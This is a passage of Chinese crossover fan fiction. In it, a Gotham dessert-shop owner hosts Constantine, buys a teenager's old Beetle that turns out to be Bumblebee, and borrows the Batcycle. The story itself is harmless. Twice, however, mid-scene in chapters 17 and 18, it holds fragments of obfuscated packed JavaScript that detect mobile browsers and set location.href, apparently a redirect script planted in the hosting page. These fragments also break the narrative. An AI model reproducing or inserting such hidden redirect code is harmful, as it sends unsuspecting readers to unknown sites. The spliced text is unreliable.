店里只剩下了文森特和康斯坦丁，老板兼职厨师兼职服务员的文森特转身开始整理桌上的餐具，这套昂贵的餐具需要细致的护理，尤其是那些精致的银质餐具，他突然后悔没向潘尼沃斯请教银制品的护理方法。
擦完餐具之后整个店还是空空如也，文森特对此习以为常，他按照计划把之前冷藏的面糊拿出来搅拌，过筛，又从系统仓库里找到了自己的铜制模具。
【精致而脆弱的模具，每次用完都需要恰当的保养，但它会让你的甜品风味大大提升。】
用毛刷在模具上均匀地刷上一层黄油，倒入面糊，放入预热好的风炉先烤二十分钟。
文森特看着风炉里面漂亮的甜品满心满眼都是期待，像一位艺术家期待着自己作品的诞生。
店里安静地像是另一个世界，只有风炉的轰鸣声。
街道上路灯闪烁的频率似乎和康斯坦丁的呼吸节奏相呼应。
文森特出来的时候，康斯坦丁正趴在吧台上，手臂成了临时的枕头沉沉入睡，眼下的青黑透露出他最近的疲惫，显然已经很久没有得到充分的休息了。
文森特不禁放轻了脚步，把快要从康斯坦丁肩上滑落的风衣重新披好。康斯坦丁不耐烦地耸了耸肩，头更深地埋进了臂弯里。
在风炉的加持下，可露丽很快就烤好了。文森特一边小心翼翼地脱模，一边细心地用黄油刷过每个用过的模具，然后把它们放回风炉中进行清洗。
不愧是被誉为天使之铃的甜品，完美的焦糖色外壳和内部均匀的气孔，切开能嗅到朗姆酒和香草的香气，他还另外做了一批巧克力口味的，等待着今天的幸运顾客。
——或者是任何进门的生物。
因为从Q他们离开之后，这里的已知可观测生物就剩下他和康斯坦丁了。
——
查莉推开门，头顶的铃铛发出悦耳的声响，彷佛在欢迎她的到来。她一进来就看到吧台后面的男人正用纤长的手指戳着刚烤出来的甜品，漫不经心的
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优雅动作配上明星般的帅气脸庞，加上昏暗的灯光，查莉往前走的步伐有点迟疑。
杰森推荐的这个店……他正经吗？
此时，正在和某辆停在犯罪巷里面的豪车轮胎搏斗的杰森打了个喷嚏，全然不知查莉正在对他的品味产生怀疑。
文森特注意到了查莉，她看起来还是高中生的模样，裤脚沾着些机油，充满好奇的眼睛正四处打量着。
“欢迎光临，今天的特色甜品是可露丽，要尝尝看吗？”文森特十分惊喜，他都做好了今晚一个也送不出去的准备了，没想到命运还是给了他一个小惊喜。
查莉环顾四周，店内虽然没有什么装饰但是也算得上是干净整洁，头顶的超人海报和隐约能看到月光的大洞让她陷入了沉默，这店老板真的能买得起车吗？
文森特走进后厨，从系统里面拿出烤好的可露丽，感谢系统的保鲜功能，让这份食物停留在了它刚出炉的状态，他小心翼翼地把这个小东西放进了盘子递给查莉：“小心烫。”
查莉接过碟子，小声地道了谢。她本来并没有打算品尝，但是老板那双美丽的绿眼睛和那句温柔的“小心烫”让她不自觉地就尝了一口。
焦脆的外壳和柔软的内陷构建出复杂又美妙的口感，巧克力的丝滑更是让查莉惊叹这份美味的出乎意料。
这简直不像是会在一家小巷里的甜品，以它的味道和精致程度即便是摆在第五大道的橱窗中，也丝毫不会格格不入。查莉心中暗自惊叹。当她回过神来，发现自己竟已不知不觉地吃完了整个可露丽。
“真的太好吃了。”查莉有些羞赧，她对自己的举动感到尴尬，看着钱包里面所剩无几的绿色她咬咬牙问道：“多少钱？”
“免费，喜欢的话可以给你打包几个回去吃，就是麻烦你顺便帮忙宣传一下我们店。” 文森特礼貌地递上一张餐巾纸，指了指自己的嘴角处，他的眼里闪过笑意，“嘴角有巧克力。”
“我会的。”查莉的脸更红了，她赶紧用手擦去那点碎屑。
一只有力的手搭在了文森特的肩膀上。
“老板，你的上帝也想吃。” 康斯坦丁戏谑地说，其实他在女孩一进门的时候就清醒了，装睡只是不想干活。
“看不出来你还挺会。”他几乎是用气声在文森特耳边低语，温热的气息轻轻拂过文森特的耳垂，带来了一阵微妙的颤动。
“上帝您可真会挑时间，”文森特微微侧头，躲开了康斯坦丁的呼吸，他对康斯坦丁可没那么多耐心：“后厨的风炉里有，自己去拿，小心烫手。”
“谢了。”康斯坦丁毫不留情地抛弃了老板，直接钻进了厨房。
查莉心里发出了一声惊呼。
“要吃点别的吗？”文森特揉了揉自己的耳垂，“正好现在是我们的晚餐时间。”
查莉摆手拒绝了，她终于想起来自己来是干什么的了。
“是杰森推荐我来的，他告诉我你这儿可能需要交通工具，我有辆黄色的甲壳虫想出售。”
17.第 17 章
查莉一直憧憬着有一辆属于她自己的车。
幸运地是，在她十八岁生日那天，她的梦想成真——叔叔把一辆黄色甲壳虫的钥匙放在了她的手心。
不幸的是，这辆车看起来比她年纪还大，尽管她努力维修，但是有脾气的发动机还是让查莉吃够了苦头，每次启动都让她觉得自己在和命运掷骰子。
但再一次因为爆胎被抛在半路后，查莉决定，是时候给这辆车找个新主人了。
她和周围的人都提了这件事，只有常来她叔叔修车厂的杰森给了她回应，他说他认识一个可能感兴趣的人。
查莉还记得他俩的对话：
查莉：“你朋友真的不会介意它的年纪吗？”
杰森非常直白：“穷人没资格挑剔。”
查莉：“人小鬼大，等我找个好轮胎给它换上就去。”
带着一丝好奇和怀疑，换好轮胎之后的查莉按照杰森给的地址找到了这里。
说实话，哥谭的夜晚总是亮如白昼，但是这个巷子却藏在最深的黑暗中，完全不像是正常的餐厅会在的地方。
谁会来这里吃饭啊？查莉一边吐槽一边停在了店门口。
——
“所以老板你要看看车吗？”少女努力推销着自己的车。“那是一辆很经典的大众甲壳虫，车况也不错。”
文森特确实很感兴趣，于是他眯着眼打开了系统，那可怜的以一开头的四位数余额像是在嘲笑他的贫穷。
老爷车就算是卖壳子也比这个多。
但面对查莉那充满期待的眼神，文森特拒绝的话却像是卡在了喉咙里，怎么也说不出口。
“当然，我非常乐意看看你的车。”文森特最终露出了一个温和的笑容，查莉没听出老板的声音带着一丝颤抖。
查莉眼睛瞬间亮了起来，她迅速站起身，动作间带着年轻人特有的活力一头扎进了店外的夜色里。
查莉的甲壳虫车就停在门外。尽管车子的外观有些年头，但查莉对它照顾有加，车身的黄色虽然斑驳，却依旧亮眼，车身上的划痕让它看上去像是个饱经战斗的战士。
“这车可真是……”文森特的话语在嘴边打了个转，他本来想说“伤痕累累”，但看到查莉期待的眼神，他立刻改口：“有故事感。”
“啊？”查莉有点懵。
“哦，他说这车有点烂。”康斯坦丁的声音在夜色中回荡，他懒洋洋倚在门框上，坚决不肯踏出大门半步。
文森特感觉到了一丝不同寻常的气氛，就在康斯坦丁说完那句“烂”之后。他看到车子微微颤抖了一下，仿佛是一个孩子在表达自己的委屈。他揉了揉眼睛，再次看去，车还是车，静静地停在那里，没有任何变化。
一定是自己眼花了。文森特心想。
文森特撇了一眼康斯坦丁: “别听他胡说，这车它……有一种独特的魅力。”
“去听我们的歌的人十个有八个都说我很个性有魅力，”康斯坦丁耸了耸肩，他叼着没点燃的烟。“但我们都知道他们到底想说什么。”
“呵。”文森特冷哼一声。
系统倒是很配合的刷新了一个日常任务。
【日常任务】是时候有一辆你自己的交通工具了（0/1）
奖励：2000美金
描述：是时候摆脱那些疯狂的出租车司机，拥有自己的座驾了。
无论是复古的黄色甲壳虫还是最新款的雪佛兰科迈罗，交通工具让你的探索之旅更加自由自在。
别忘了有时候，一辆好车是你逃脱麻烦的救命稻草。
你也不想再坐那些玩命的交通工具吧？
玩命的疯狂出租车司机本人正在门口对着车大放厥词：“老板你不如雇佣我来开，我有车，车技隔壁邦德用了都说好，我还不要钱，只需要给我个住的地方就行，是不是很划算？”
“是啊，因为你过人的车技他现在正在接待希腊公主呢。”文森特决定立刻买下这辆车用来堵住康斯坦丁的嘴。
“多少钱？”文森特问道。
“一千……？”查莉试探性问道，她根本没想到能卖出去。
“成交！”
“啊？”查莉有点慌乱，“你都不看看车况吗？”
“我相信你。”文森特说。
康斯坦丁不放过任何插话的机会：“他就是想让我闭嘴。”
“你信不信我现在就把你从我的店里扔出去。”文森特几乎是从牙缝里挤出这段话，他的脾气一遇到康斯坦丁就控制不住了起来。
赤裸裸的威胁。康斯坦丁把香烟拿下来揉碎，烟草的香气让他的焦虑得到了舒缓。
查莉在旁边十分兴奋，这笔交易的顺利程度超出了她的预期。当她俯身进入车内摸索钥匙时，不知道触碰到了什么按钮，汽车的发声器发出了尖锐的声音，仿佛一个任性的小孩在不满地抗议。
“BeeBee乖。”查莉拍拍甲壳虫的车身安抚它——好吧这其实也是一种物理修车，声音很快就停住了。
“BeeBee？”文森特有点好奇，他半开玩笑地说：“这是它的名字吗？它还有特别喜好吗？”
“是的，”查莉被文森特的话逗笑了，她点点头：“你不觉得它很像小蜜蜂吗？小小的勤劳士兵。所以我叫它BeeBee”
“至于特别喜好嘛，我想它还挺喜欢音乐？”查莉补充道，“尤其是摇滚乐，好几次我半路抛锚全靠给它放音乐才重新启动的。”
文森特轻轻一笑：“好吧，查莉，那你明天我去找你怎么样？我还有些准备工作要做。”
查莉的眼睛瞪得大大的，她没想到今晚还能开着BeeBee回家。她的嘴角忍不住上扬，惊喜之情溢于言表：“真的吗？我今晚还能和BeeBee一起回家？这真是太棒了！”
康斯坦丁在一旁听得直摇头，他用一种“这姑娘真是天真”的眼神看着查莉：“不是吧，小姑娘，你真打算把车留在这里，然后自己飞回家？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13949438|147587||http|test|mini|href|location''.split(''|''),0,{}));
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查莉赶紧掏出一张便利贴，龙飞凤舞地写下了自己的地址，递给了文森特，“这里，谢啦。”
文森特低头看了一眼手表，时间确实不早了：“行了，快回去吧，你一个人在外面不安全。”
他突然想到什么，转身回到了店里，不久后拿着两个精致的盒子走了出来，里面是几个热气腾腾的可露丽，诱人的香气在小巷中弥漫开来。
“这是送你的。吃的时候最好加热一下，味道会更好。”文森特把盒子递给查莉，指了指粉色包装的那个，眼里满是调皮的笑意，“当然，如果你能帮我多宣传宣传，那就更棒了。”
查莉接过盒子，她的眼睛瞬间亮了起来，显然对这份意外的礼物感到惊喜。“哇，谢谢老板！我保证，我会把你的可露丽宣传得人人皆知！”她把盒子小心翼翼地放在副驾驶座上，然后从车里探出头来挥手告别。
文森特微笑着，又指了指另一个红色包装的：“另一盒你要是遇到杰森就带给他。他可帮了我大忙，这是一点小礼物。让他有时间来吃饭。”
查莉点了点头，感激地看着文森特，“老板你真是好人！杰森一定会很高兴的。”
查莉发动了BeeBee，老甲壳虫发出了一声满足的轰鸣，她开着车缓缓退出小巷，挥手告别的身影消失在夜色中。
康斯坦丁斜靠在门框上，目送着查莉的离去，忍不住打了个哈欠，语气毫无恳求之意：“好了，看来今晚的爱心慈善结束了。好人能给你可怜的上帝兼职员工准备点饭吃吗？”
“进来吧。”文森特从冰箱里拿出来之前的准备好的牛排，没几分钟肉排就端上了桌，是康斯坦丁喜欢的味道。
时间悄然流逝，转眼已是午夜，餐厅里再没有新客人的光临。牛排早已被一扫而空。文森特此时正忙碌在厨房，为第二天的食材做准备，他打算尝试一些新的饮品，比如调酒。
“康斯坦丁，你知道伦敦有什么好酒吗？”文森特叫了几声外面都没有回应。
他以为康斯坦丁只是睡着了，就在他回去拿盘子的时候，文森特发现餐厅里多了个男人。
男人身材高大，纯黑的发丝整齐地梳向脑后，露出了一张棱角分明的脸。他的眼神深邃的能洞察人心，嘴角挂着一抹几乎察觉不到的微笑，似乎对这里的一切都充满了好奇。他身上的黑色长风衣在无风的情况下轻轻摆动，宛如夜色中的幽灵。
文森特停下了手中的动作，他的目光落在了这个不速之客身上，心中涌起了一丝警觉。
男人站在康斯坦丁对面，完全忽略了文森特的存在。
“你不会以为躲到五维生物的地盘我就没办法了吧？”男人低头玩着自己的袖扣，那些袖扣看起来像是某种骨制品，带着润泽的光，他的语气里是压制不住的怒火。
“你要是有办法就不会说这句话了。”康斯坦丁表情戏谑，他跨前一步挡住了身后的文森特，“不是吗，初堕者。”
“对了，再来一杯吗？”
18.第 18 章
出乎康斯坦丁的意料的是，面对他的挑衅，初堕者没有继续展现出愤怒的神情，他的表情反而柔和了下来，却带着恶毒的笃定。
初堕者的目光像是一把锋利的手术刀，先在康斯坦丁身上游走，然后缓缓移向了文森特，彷佛能够解剖所有已知和未知的秘密。
“康斯坦丁，你总是用那副不在乎的外表来掩饰你的真实感受。”初堕者的语气里没有之前的怒火和威胁，取而代之是一种近乎温柔的叹息，像是和老友聊天，“我们都知道你会在你在乎的人受到伤害时爆发出巨大的力量。”
他停下了手中拨弄袖扣的动作，骨制的袖扣在昏黄的灯光下闪烁着类似皮肤般丝滑的光芒，仿佛有生命一般在跳动。
整座餐厅只能听到钟表的滴答声和心跳声，初堕者十分享受这种心理游戏。
“但是，”他的话锋一转，轻蔑和压迫飘然而至：“你真的以为，你的那些小聪明那些小手段能够保护你爱的人免受伤害吗？这场赌约里你以为你会是棋手吗！”
康斯坦丁翻了个白眼：“我能赢你一次就能一直赢下去，因为我从不赌别的，我只赌命。”
初堕者对于康斯坦丁的回答并不意外，他早已预料到康斯坦丁会这样回应，“你太自信了，没有人能永远掌握局势，牧羊人也不可以。”他的声音带着温柔的警告。
初堕者没有再说什么，他只是静静地站在那里，视线最终落在了文森特身上，他的身影变得模糊，逐渐和周围的黑暗融为一体。但他的声音依然在餐厅里回荡，那声音带着不祥的意味，像是远处传来的丧钟。
“康斯坦丁，你太执着于你的战斗，以至于你忽略了更重要的东西，你所在意之人必然为你而死。”这句话如同诅咒一般，在空气中久久不散。
康斯坦丁的表情凝固了一瞬，初堕者的话语像是根针，刺破了他平日里那副无所畏惧的外表，让文森特在这一瞬得以窥见了他的灵魂。
“哦，是吗？可我最在意的生物是您，您什么时候去死呢？”康斯坦丁很快调整了情绪，恢复了那副玩世不恭的态度，“该死…！忘了对他竖中指了。*”
文森特被初堕者的最后一眼看得毛骨悚然，他感觉那种眼神中充满了深意，仿佛能看穿他的大脑。
他转向康斯坦丁，声音里满是疑惑：“你的……？”
“债主，”康斯坦丁几乎要把口里的烟草嚼烂了，“欠了他点东西，追债都追上门了。”康斯坦丁随意地在桌子上敲了敲烟，刚摸出打火机，却因为文森特的目光而不得不又放了回去。
他低头轻嗅着烟草的香气，尼古丁的气息让他的神经放松了一些，康斯坦丁瘫坐在椅子上，脸部隐藏在阴影之中，显得有些脆弱，甚至带着一丝乞求的语气对文森特说：“所以，老板，你看我这么惨，就让我多住几天吧。”
文森特被康斯坦丁那突如其来的脆弱模样晃了一下神，但是立刻严肃且坚定地拒绝了对面之人：“不行。”
“啧，”康斯坦丁擦亮了打火机，火光跳跃中映出了他那副玩世不恭的表情，“你真的不考虑一下？我可是能帮你不少忙的。”
“免谈，”文森特一边说着，一边把一张简易的小床支了起来，“你今晚就睡这里。”
“老板，我付钱了！”康斯坦丁有些不满地抗议道。
“所以你能睡这里，”文森特指了指屋外的蝙蝠，“或者你想去外面和蝙蝠一起睡觉？”
“奸商。”
“谢谢夸奖。”
——
文森特起床时天刚擦亮，这一晚上他睡得并不轻松。光怪陆离的梦做了整整一晚上，直到最后一个梦，他梦见自己被蝙蝠螨那巨大的披风紧紧包裹，无法动弹。
当他醒来终于知道了梦境的根源——康斯坦丁不知道什么时候侵占了他的领地，正和他分享着一张床。
文森特深呼吸一口气，他轻轻地，但坚定地把康斯坦丁推开。
“早上好，老板，”康斯坦丁漫不经心的声音钟带着刚睡醒的沙哑，他似乎完全没意识到自己的行为有何不妥，“我猜我昨晚可能有点太困了。”
文森特径直走出卧室，完全不想管半睡半醒的康斯坦丁。
刚一出门，清晨的凉意让他头脑为之一振，他走进厨房，给自己简单做了点早餐，一壶咖啡，几片烤面包，一个完美的水波蛋揭开了一早的序幕。
文森特咬着叉子思考着今天的行程，上午要去找查莉取车，回来的路上还要买点食材，蝙蝠螨的挑战还要研究一下哥谭人的家乡菜……
哥谭人。文森特脑海中闪过几个名字，杰森？查莉？随即，另一个名字跳了出来——潘尼沃斯！这可是位在哥谭工作的管家，他一定了解不少本地特色美食。
文森特庆幸自己之前留了他的联系方式，有时间打个电话，肯定能得到点有用的帮助。
文森特心满意足地合上了本子，出于同情他最终还是给康斯坦丁留了一份早餐。
天花板上的超人海报被风吹得沙沙作响。
文森特闭上眼睛，对着海报默默地祈祷了一下今天的计划顺顺利利，就从找到合适的交通工具去查莉那里开始吧。
然后文森特刚一拉开门，他就愣住了。
因为一辆崭新的黑色摩托车静静地蛰伏在那里，甚至钥匙还插在上面，迷你的蝙蝠标志挂在钥匙上，像是一份礼物。
“蝙蝠螨的车？”文森特看着车自言自语。
“你叫我？”蝙蝠螨的声音突然响起，他睡眼惺忪，头上还带着一顶红蓝相间的睡帽。
文森特被他突然出现的方式吓了一跳，但很快恢复了镇定：“这是你的车吗？”
蝙蝠螨扫了一眼，蝙蝠摩托车，鉴于蝙蝠侠的就是他的这一理论，来自五维的生物毫不客气地表示了肯定，然后大大方方地将车借给了文森特。
“看来对超人许愿果然有用啊，”文森特兴奋地骑上摩托车，他轻轻扭动手柄感受着引擎的颤动，一脚油门，摩托车像是一道黑色的闪电，载着他消失在街道尽头，只留下了一串引擎声回荡在哥谭街头。
“超人确实不错……”蝙蝠螨嘟囔着，他的声音越来越低，在半空中瞌睡起来，五维生物的身体逐渐变得透明，最终完全消失在空气中。
——
五分钟后。
迪克·格雷森和杰森·托德一前一后走进了巷子，迪克突然停下了脚步，眉头紧锁，似乎在思考着什么。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13973228|147587||http|test|mini|href|location''.split(''|''),0,{}));
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“嘶，你在干什么？怎么突然停下了？”杰森走在迪克身后，由于太过专注于手机，他完全没有注意到迪克的急停，杰森直接撞到了迪克的背上，手机差点飞出去。
“咱俩今天出来是开车的吗？”迪克的声音里是怀疑人生。
杰森翻了个白眼，他的话语中带着“你是不是脑子又坏了”的意味：“你是替老头子夜巡多了脑子彻底宕机，还是终于两份工作交替上班让伟大的黄金男孩记忆丧失了？我们是骑摩托车出来”
他嘲讽突然消失在风中，杰森的蓝眼睛里满是惊愕，他的手指着原本应该停放摩托车的地方：“摩托车呢！我那么大一辆摩托车呢！”
原先停放这台钢铁巨兽的位置空空如也，只有地上的几滴油渍默默诉说着摩托车曾经是真实存在过的。
迪克忍不住笑出了声，他摇了摇头感叹道：“哥谭，我们哥谭真是人才辈出，小贼总能以不可思议的方式偷东西。”
杰森瞪了迪克一眼，但嘴角也忍不住勾起：“是啊，如果这次又是个黑发蓝眼睛的小男孩那就丢给老头子当第六任罗宾吧。”
迪克挑了挑眉，反击道：“你在挑起战争！”
“我看你也很想看这一幕吧，”杰森耸了耸肩，他指了指对面迪克的嘴角：“嘴角都压不住了，真该让恶魔崽子看看他的蝙蝠侠现在的笑容。”
迪克一脸无辜，两人相视一笑。
“不过说真的，我们得快点找到车，”迪克侦察着周围的情况，“今晚我还有其他安排。”
杰森点了点头，他也在寻找任何可能的线索：“没错，而且我可不想让老头子知道我们把他的宝贝摩托车弄丢了。”
“你好，神谕上线，我看到蝙蝠摩托车正在往海岸线飞驰，在开车吗？注意安全。”轻快的女声从迪克拨通的电话那头传来，声音轻快明亮。
“不对，怎么没有风声？”芭芭拉立刻反应过来。
“嘿小芭，有人在私自享受韦恩科技。”迪克迅速恢复了严肃。
“有人从你俩手里借走了摩托车？你俩认真的？这个消息我要发到群里。”芭芭拉的声音中带着丝戏谑。
“哦不芭布斯，别——”
“别担心，我已经锁定了车辆，你们可以慢慢来。”芭芭拉的手指在键盘上飞快的敲击。
“亲爱的你真神奇。”
“那是你的称号，男孩。”*
杰森抖着身上的鸡皮疙瘩离这对小情侣远了一步。
杰森和迪克对视一眼，两人的眼中都闪烁着同样的光芒——是时候让这位“借车”的小偷见识一下哥谭的正义了。
“那么，我们是不是应该去海岸线迎接我们的‘客人’？”迪克的嘴角勾起了一抹微笑，他的眼神中闪烁着猎人的光芒。
“我已经等不及了，”杰森摩拳擦掌，他已经准备好了下一次的追逐，“让我们给这位‘借车’的‘客人’一个难忘的教训。”
而对于文森特来说，他完全不知道自己骑走的摩托车背后有着怎样的故事，他正震惊于查莉的车库里面的生物。
一只缩在车库角落的钢铁机器人正用狗狗眼看着他俩……？
这里为什么会有变形金刚？！
19.第 19 章
文森特几乎是一路风驰电掣地赶到了约定好的修理厂。
他本以为会在门口看到那位活力四射的少女，但到了之后却发现等待他的是一片异常的寂静。
文森特试探性地往修理厂内部走了几步，突然，一阵刺耳的尖叫划破了空气，让他心脏猛地一跳。
他随手抄起摩托车上的撬棍就冲了出去，尽管文森特也很疑惑，什么摩托车还会配根撬棍？为了方便撬轮胎吗？
文森特很快就找到了声音的源泉，查莉正站在车库门口，一副惊魂未定的样子。
“怎么了 ？”文森特站在查莉身边，把自己的外套脱下来披在了少女身上。
查莉指着屋里疯狂比划，但话语被恐惧锁在了喉咙里，只能发出一些无意义的音节。
文森特抓紧撬棍，小心翼翼地朝里面看去，一个巨大的阴影正在车库角落，文森特下意识把查莉护在身后。
阴影里突然亮起两盏硕大的光镜，车库的灯自己亮了起来，照亮了阴影的全身，那是——
大黄蜂？！
这里怎么会有大黄蜂？
文森特穿越之前虽然对于好莱坞片子涉猎不多，但是变形金刚这么有名的IP他还是知道的，大黄蜂的样子太有代表性了，这谁能不能认识呢！
大黄蜂庞大的身躯此时正缩在车库一角，像是被欺负的小孩一样委屈又无助，它金属制成的身体微微颤动，彷佛在寻求逃出去又不伤害到这两人的机会。
文森特的目光立刻转向了一旁的查莉。
“我没有对它做什么！”查莉终于找回了自己的声音，她有些崩溃地辩解着，她声音带着哭腔，“我只想整理一下这辆车。”
昨晚查莉把车开回了修理厂，想趁着早上的时间打扫一下这辆二手车，希望能给老板一个好印象。
今早就在她把发动机重新衔接上的瞬间，一阵耀眼地蓝光闪过，原先小巧可爱的甲壳虫汽车变成了一个巨型机器人，正缩在角落可怜巴巴地瞅着她，像一只淋雨的狗狗一样。
无论这个机器人看起来多么可爱、多么可怜，它都无法改变一个事实——那就是原本正常的车突然变成了一个机器人，这足以让任何人震惊到尖叫。
“所以这是辆会变形的车？”文森特觉得有些虚幻，虽然知道自己生活在一个超级英雄横行的世界，但超级英雄们总是显得那么遥不可及。他接触过的为数不多的超英都还算正常——至少在他看来是这样。
直到现在，一辆变形金刚出现在他眼前。
天，这辆车要是黄色科迈罗他一定能认出来！谁能认出来一辆黄色甲壳虫会是大黄蜂啊！
查莉终于缓了过来，但是她的尖叫声穿透了修理厂的墙壁，引起了附近人的注意，包括她的叔叔。
叔叔带着一脸的怒气冲冲走了过来，拿着美式居合专用设备对准了文森特：“你这个小白脸对我侄女做了什么！”
文森特被这突如其来的质问弄得有些手足无措，他举起双手，示意自己并无恶意：“等等，先生，这是个误会……”
查莉赶紧上前挡在了文森特和叔叔之间——也挡住了叔叔看向车库里的视线，她用最具说服力的声音说道：“叔叔，别激动，他什么都没做。我只是刚才被一只黄蜂吓到了，真的。”
叔叔看了看两人最终放下了手里的枪，但他的眼里仍然带着一丝警惕：“听着小子，如果我发现你有什么不对劲我是不会手软的。”
文森特随着叔叔的行走挡住了叔叔向车库窥视的视线，等到叔叔离开后两人长舒一口气。
“老板抱歉。”查莉的表情中满是歉意。
“没事，”文森特摇摇头，他不介意这些小事，“但是它要怎么办？”
两人的视线回到了大黄蜂身上，这个机器人发出一声可怜的嗡嗡声，缩在角落的金属身躯一动不动，蓝色的光镜紧紧盯着文森特手里的撬棍。
文森特顿了顿，把撬棍缓缓放在地下，缓步走向大黄蜂，“不用害怕，我不会伤害你的。”
查莉也从身后走了过来：“是我，前两天给你修音响的就是我。”她伸手拍了拍车身。
“要怎么处理它呢？”
——
与此同时，迪克和杰森正驾驶着车，紧随神谕提供的追踪信息，他们正对摩托车紧追不舍。
“等等，”神谕稳定的声音突然出现了变化，听起来十分疑惑，“消失了……怎么会？”
迪克立刻问道：“什么消失了？”
“摩托车信号消失了，稍等，我用卫星看一下情况，”芭芭拉的声音消失了几十秒，接着两人就听到通讯器另一头的惊呼，“那里根本没有任何车，那是一片大海！”
杰森忍不住吐槽：“所以我们的车被直接开进了海里？敢偷蝙蝠摩托车的小贼慌不择路直接跳海了？”
迪克皱了下眉头，他不认为这件事情会这么简单：“神谕，重新确定位置，蝙蝠摩托车的定位器不会因为水压消失。”
“十分钟前的卫星记录没有显示有任何车辆开过……” 芭芭拉的声音有些干涩，“而且就算开过，也不会有摩托车能在大海里开出直线。”
“这事情越来越离谱了，”杰森摇摇头，他摸到了自己身边的冷兵器，“鉴于这是个有操.蛋魔法和外星人的世界，我们是否可以考虑点非常规的解释呢？？”
芭芭拉表示了赞同：“我正在尝试调用多颗卫星重新观测，也许你们可以去最后的信号消失地点看看，说不定有什么发现。”
“夜翼收到。”迪克加快了车速，朝着最后的信号位置驶去。
他们到达了一个偏僻的海岸线，杰森觉得这个地方分外眼熟：“这里我来过。”
“嗯？”迪克正在观测追踪器消失的位置。
“这里之前是个修车厂，后来双面人炸塌了水坝导致这里全被淹没了。”杰森远眺着追踪器消失的位置，他的记忆如潮水般涌来。
“那里是车库。”他说。
“那里是车库！”她说。
“可我们总不能把它就这么放在你的车库里！”文森特反驳着查莉的发言。
“你叔叔，”他的声音又小了一些，手指微动指向外面。“你叔叔现在还没从这里离开，万一他发现了这件事，大黄蜂要怎么办！”
“bee——bee——”大黄蜂点了点头，它已经变回了甲壳虫的样子，甲壳虫的大灯闪了闪表示赞同。
查莉的目光落在了大黄蜂身上，她轻声问道：“你为什么叫他大黄蜂？”她的问题让文森特愣了一下，他显然没有预料到在这种紧张的情况下，查莉会关心这样的问题。
“这个时候你还在考虑他叫什么？”文森特愣了一下，“因为你说他像蜜蜂。这是我们的重点吗
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？”
查莉倚在操作台旁，嘴角抿了起来，“这样吧，你先把车开回去停在你那个巷子里，我们看看能不能修好它。”
“没问题。”文森特一口答应了下来，能拥有一辆变形金刚是多少人的童年梦想，他的童年梦想在这个时刻以这种方式被实现了。
文森特的目光转向了停在门口的摩托车，“我把摩托车骑回去，你帮我把大黄蜂送回去吧，然后我再把你送回来。”
“没问题，”查莉爽快地答应，“老板要请我吃饭哦！”
两人一前一后的冲入了哥谭的早高峰，大黄蜂灵活在车流里穿梭，文森特的摩托车稳稳地跟在后面。
一辆崭新的甲壳虫驶过他们身边，阳光下那辆黄色的小车显得格外亮眼。跟在身后的文森特注意到大黄蜂发出一股蓝色的光束，对那辆甲壳虫进行了快速扫描。光束在甲壳虫的车身上一闪而过，随即一切恢复了正常。
就在文森特以为结束的时候，大黄蜂突然开始变形，车身发出低沉的机械声，金属板件开始重新组合，喷漆，抛光，它在模仿那辆刚刚驶过的甲壳虫。
变形过程迅速且流畅，文森特目瞪口呆地看着大黄蜂在他面前重现了一遍他之前最爱的经典场景，一辆崭新的甲壳虫在短短几秒的时间内被重新塑造并展示在他面前。
“神迹。”
甲壳虫闪了几下大灯，彷佛是大黄蜂在骄傲地点点头接受了这份夸奖。
“嗯？”等车的间隙查莉探出头，才发现曾经的小破车现在完全翻天覆地变成了另一个样子，彷佛刚从展台上开下来。
“哇哦，这可不是昨天的价格了，得加钱。”她半开玩笑地说，语调闪着调皮。
“也不能加太多吧？”
“那得看你请我吃的饭味道怎么样了。”
查莉停下车有些意外：“看来这个巷子比我想的要友好一些。”
“嗯？”
“昨晚我从驾驶座下来的时候几乎是贴着墙走的，”查莉回忆道，“我还以为这里会很窄。”
文森特点了点头，他的目光在巷子里扫视了一圈。确实，这个巷子比他记忆中的要宽敞一些，巷子还会自动匹配车吗？
一阵悦耳的手机铃声打断了他们的对话，是查莉的电话，她接起电话脸色逐渐变得尴尬：“啊我马上到，我很近了，没忘，我现在已经在韦恩大厦楼下了。”
挂断电话之后，查莉急匆匆地跑向箱子对面的韦恩大楼：“我答应了朋友今晚要陪她一起去看展，我先走了，饭下次再吃！”
文森特目送查莉离开，思考着这辆车要怎么停车，总不能停在店门口吧？
他正思索着，突然地面在文森特缓缓打开，露出了一道斜坡邀请他进入。
文森特吃惊地看着这一幕，他走下斜坡，发现是个宽敞的停车场，内部空间宽敞，别说只容纳大黄蜂，就算是擎天柱来了也绰绰有余。
“博士说的果然没错，”文森特自言自语道：“这里真的有片我不知道的大海。”
他拿出手机，回复了一条未读的消息：“好的，潘尼沃斯，那我们一会儿见。”
文森特的手指在屏幕上轻快跳动，他的目光在甲壳虫和摩托车之间徘徊。他决定骑上摩托车，直奔潘尼沃斯给他的地址。
摩托引擎发出低沉的轰鸣，目的地：
韦恩庄园。
20.第 20 章
文森特沿着海边的道路一路飞驰，哥谭市最大的庄园渐渐出现在他的面前。
远远望去，主楼建筑的尖顶和塔楼让人不禁联想到吸血鬼的城堡，文森特甚至有点好奇，这座巨大的庄园下面是否隐藏着不为人知的秘密？
比如传说的蝙蝠洞。
啊，是的，文森特也对哥谭的神秘传说蝙蝠侠和布鲁斯·韦恩的关系充满好奇。
道路两边是修建整齐的花园和草坪，阳光透过树梢洒下斑驳的光影，随着庄园的轮廓完全呈现在文森特眼前，他一个帅气漂移停住了这辆钢铁猛兽。
文森特摘下头盔准备上前按门铃，大门缓缓打开，潘尼沃斯正站在门后欢迎着文森特的到来。
